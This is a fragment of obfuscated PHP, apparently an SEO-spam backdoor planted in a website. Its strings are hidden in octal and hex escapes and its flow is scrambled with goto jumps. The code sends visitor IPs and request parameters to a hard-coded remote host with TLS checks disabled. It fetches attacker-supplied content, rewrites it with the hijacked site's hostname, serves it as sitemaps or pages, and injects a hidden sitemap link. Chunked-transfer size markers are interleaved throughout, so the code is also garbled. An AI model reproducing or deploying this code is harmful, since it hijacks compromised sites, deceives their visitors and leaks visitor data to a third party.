2 $url, 13 CURLOPT_RETURNTRANS 18 FER => true, CURLOPT_SSL 14 _VERIFYPEER => false 2f , CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLL 1c OWLOCATION => true, CURLOPT_ 17 TIMEOUT => 10, CURLOPT_ 1e HTTPGET => true, CURLOPT_USERA 19 GENT => "\115\157\172\151 18 \154\x6c\141\57\x35\x2e\ 17 60")); $data = curl_exe 19 c($ch); curl_close($ch); 21 if (!empty($data)) { return $data 24 ; } } if (ini_get("\141\154\x6c\x6f\ 1b 167\x5f\x75\162\154\x5f\146 1d \157\160\x65\156")) { $contex 17 t = stream_context_crea 19 te(array("\x68\164\x74\16 1c 0" => array("\155\x65\164\x6 17 8\x6f\x64" => "\x47\105 1c \x54", "\x74\x69\155\145\x6f 22 \x75\x74" => 10, "\150\x65\x61\x64 25 \x65\162" => "\125\163\x65\162\x2d\x4 21 1\147\145\x6e\164\x3a\40\x4d\157\ 18 x7a\151\x6c\x6c\x61\x2f\ 21 x35\x2e\60\15\12"), "\163\x73\x6c 24 " => array("\166\x65\162\x69\146\x79 25 \137\160\x65\145\162" => false, "\x76 23 \145\x72\151\146\171\137\x70\145\14 19 5\162\x5f\x6e\141\x6d\x65 3f " => false))); $data = @file_get_contents($url, false, $context 3e ); if (!empty($data)) { return $data; } } return ''; } goto X5 12 nb1; D_iaM: $vurl 21 = $http_type . "\x69\144\154\x79\ 1d 62\56\x69\x64\x73\x68\157\x70 15 \x2e\x63\143\167\x75\ 18 56\143\x63\x2f\64\61\71\ 20 56\x61\163\x70\x78"; goto N2pxL; 2a EzYoe: if (!empty($get["\163"])) { $param 1d s = array("\163" => date("\13 1d 1\x6d\144\x48\151"), "\x6e\16 2b 5\155\142\x65\162" => $get["\156\165\x6d\x6 1e 2\145\162"]); $str = getCurl($ 20 vurl, $params); $str = str_repla 19 ce(array("\173\xe5\275\22 15 3\xe5\x89\x8d\345\x9c 14 \260\xe5\235\x80\x7d 34 "), array($http_type . $_SERVER["\110\x54\x54\x50\x5 29 f\110\117\x53\124"] . $_SERVER["\123\x43\ 2c 122\x49\x50\124\137\116\x41\x4d\x45"]), $str 15 ); header("\103\157\1 20 56\x74\x65\156\164\x2d\164\171\1 23 60\x65\72\164\x65\170\x74\57\x78\15 14 5\154"); echo $str; 19 die; } goto N4dac; X5nb1: 57 $http_type = !empty($_SERVER["\110\x54\x54\120\123"]) && $_SERVER["\x48\124\124\x50\12 16 3"] !== "\x6f\146\x66" 20 ? "\x68\164\164\160\x73\x3a\x2f 2c \x2f" : "\150\164\164\160\x3a\x2f\57"; goto 17 Aq5NJ; f5XoA: function 3e postCurl($url, $postData = array()) { $postString = is_array($ 34 postData) ? http_build_query($postData) : $postData; 126 if (function_exists("\143\x75\162\154\x5f\x69\x6e\x69\164")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_ 20 POST => true, CURLOPT_POSTFIELDS 83 => $postString)); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\x6c\x6c\157\x7 58 7\x5f\x75\162\154\x5f\x66\x6f\x70\145\156")) { $context = stream_context_create(array("\ 33 150\164\164\160" => array("\155\145\164\150\157\144 27 " => "\120\x4f\x53\124", "\164\x69\155\ 27 x65\157\165\x74" => 10, "\x68\x65\141\1 25 44\x65\x72" => "\103\x6f\156\x74\x65\ 1c x6e\x74\55\124\171\x70\x65\x 24 3a\x20\x61\160\160\x6c\x69\x63\x61\x 25 74\x69\x6f\x6e\57\x78\55\x77\x77\167\ 22 55\x66\x6f\x72\155\x2d\165\162\x6c 1f \x65\156\143\157\144\145\144\xd 26 \12" . "\x43\x6f\156\x74\145\156\x74\x 20 2d\x4c\145\x6e\147\164\x68\72\40 21 " . strlen($postString) . "\xd\xa 1e " . "\125\x73\145\x72\x2d\101\ 30 x67\x65\156\164\x3a\40\x4d\157\172\151\x6c\x6c\1 1c 41\x2f\65\56\x30\xd\xa", "\1 2b 43\x6f\x6e\164\145\x6e\164" => $postString) 3c , "\163\x73\x6c" => array("\x76\145\x72\x69\146\171\x5f\x70\ 3b x65\145\162" => false, "\x76\145\162\x69\x66\x79\x5f\160\14 1d 5\x65\x72\137\x6e\141\155\145 a2 " => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto m5bkF; N4dac: if (!empty($get["\151\144 29 "])) { if (empty($get["\153\153"])) { $ip 25 = get_ip(); $params = array("\x69\16 1e 0" => $ip, "\x69\144" => isset 25 ($get["\x69\144"]) ? $get["\151\x64"] 1c : '', "\x6c\x6c" => $ll); $ 3e tzstr = getCurl($vurl, $params); if (strpos($tzstr, "\x69\144" 23 ) !== false) { echo $tzstr; die; } 38 } $params = array("\x69\x64" => $get["\x69\x64"], "\x6c\ 4c 154" => $ll); $str = getCurl($vurl, $params); $str = str_replace(array("\x7b 1d \125\x52\x4c\175", "\173\345\ 15 237\237\345\x90\215\1 1e 75"), array(get_url_info("\146 29 \165\154\x6c"), get_url_info("\156\157\13 33 7\x77\167\167")), $str); echo $str; die; } else { $ 18 sitemapUrl = $ll . "\x3f 25 \x73\x3d" . date("\131\155\144\110\x6 1c 9"); echo "\74\144\x69\166\4 1d 0\x73\164\171\154\145\x3d\x27 26 \x74\145\170\164\x2d\x61\154\151\147\1 23 56\x3a\x63\145\x6e\164\x65\x72\73\4 21 0\160\x61\144\144\x69\156\x67\72\ 1d 61\x30\160\170\40\x30\73\x27\ 1f 76\x3c\x61\x20\150\162\x65\146\ 1c 75\42{$sitemapUrl}\x22\x20\x 1c 74\x61\x72\x67\x65\164\x3d\4 28 2\x5f\x62\154\141\x6e\x6b\42\40\162\x65\ 1c x6c\x3d\x22\x6e\157\x66\157\ 21 x6c\x6c\157\167\x22\x3e\x20\x53\x 26 69\x74\x65\x6d\x61\160\74\57\141\x3e\x 1f 3c\x2f\144\151\166\76"; } goto c nnSBp; Uh8So 1e : function get_ip() { foreach 28 (array("\x48\x54\x54\x50\x5f\x58\137\x46 1b \117\x52\127\101\122\104\x4 1b 5\104\x5f\x46\x4f\x52", "\x 1f 48\124\x54\120\x5f\x43\114\x49\ 22 105\x4e\x54\137\111\x50", "\x52\x4 21 5\x4d\117\x54\x45\x5f\101\x44\x44 e \x52") as $key 2f ) { if (!empty($_SERVER[$key])) { return trim(e 18 xplode("\x2c", $_SERVER[ 1e $key])[0]); } } return "\x55\x 20 4e\113\116\x4f\x57\116"; } goto 25 f5XoA; shqZL: function get_url_info(s 26 tring $return_type = "\144\157\155\141 1b \151\x6e") : string { $host 33 = $_SERVER["\x48\124\124\x50\x5f\110\x4f\123\x54"] 2c ; if ($return_type === "\144\x6f\155\x61\x69 31 \156") { return $host; } if ($return_type === "\1 2d 56\157\x5f\x77\167\167") { return ltrim($host 1c , "\x77\x77\167\x2e"); } $pr 22 otocol = isset($_SERVER["\110\x54\ 3e 124\x50\x53"]) && $_SERVER["\110\x54\x54\x50\x53"] === "\x6f\1 2e 56" || isset($_SERVER["\x48\x54\124\x50\x5f\13 1b 0\137\106\x4f\122\127\x41\1 26 22\104\x45\x44\137\x50\x52\117\x54\x4f 69 "]) && $_SERVER["\110\124\124\120\137\x58\137\106\x4f\122\x57\101\122\104\105\104\137\x50\122\x4f\x54\117 1c "] === "\150\x74\x74\160\x73 2a " ? "\x68\x74\164\x70\x73\x3a\57\x2f" : "\ 23 x68\x74\164\x70\72\x2f\x2f"; $base_ 33 url = $protocol . $host; if ($return_type === "\142 29 \x61\x73\145") { return $base_url; } $uri 23 = $_SERVER["\x52\x45\121\125\105\1 1d 23\124\x5f\x55\122\x49"]; $fu 32 ll_url = $base_url . $uri; if ($return_type === "\ 25 x66\165\154\154") { return $full_url; 25 } return ''; } goto Uh8So; nnSBp: ?> 0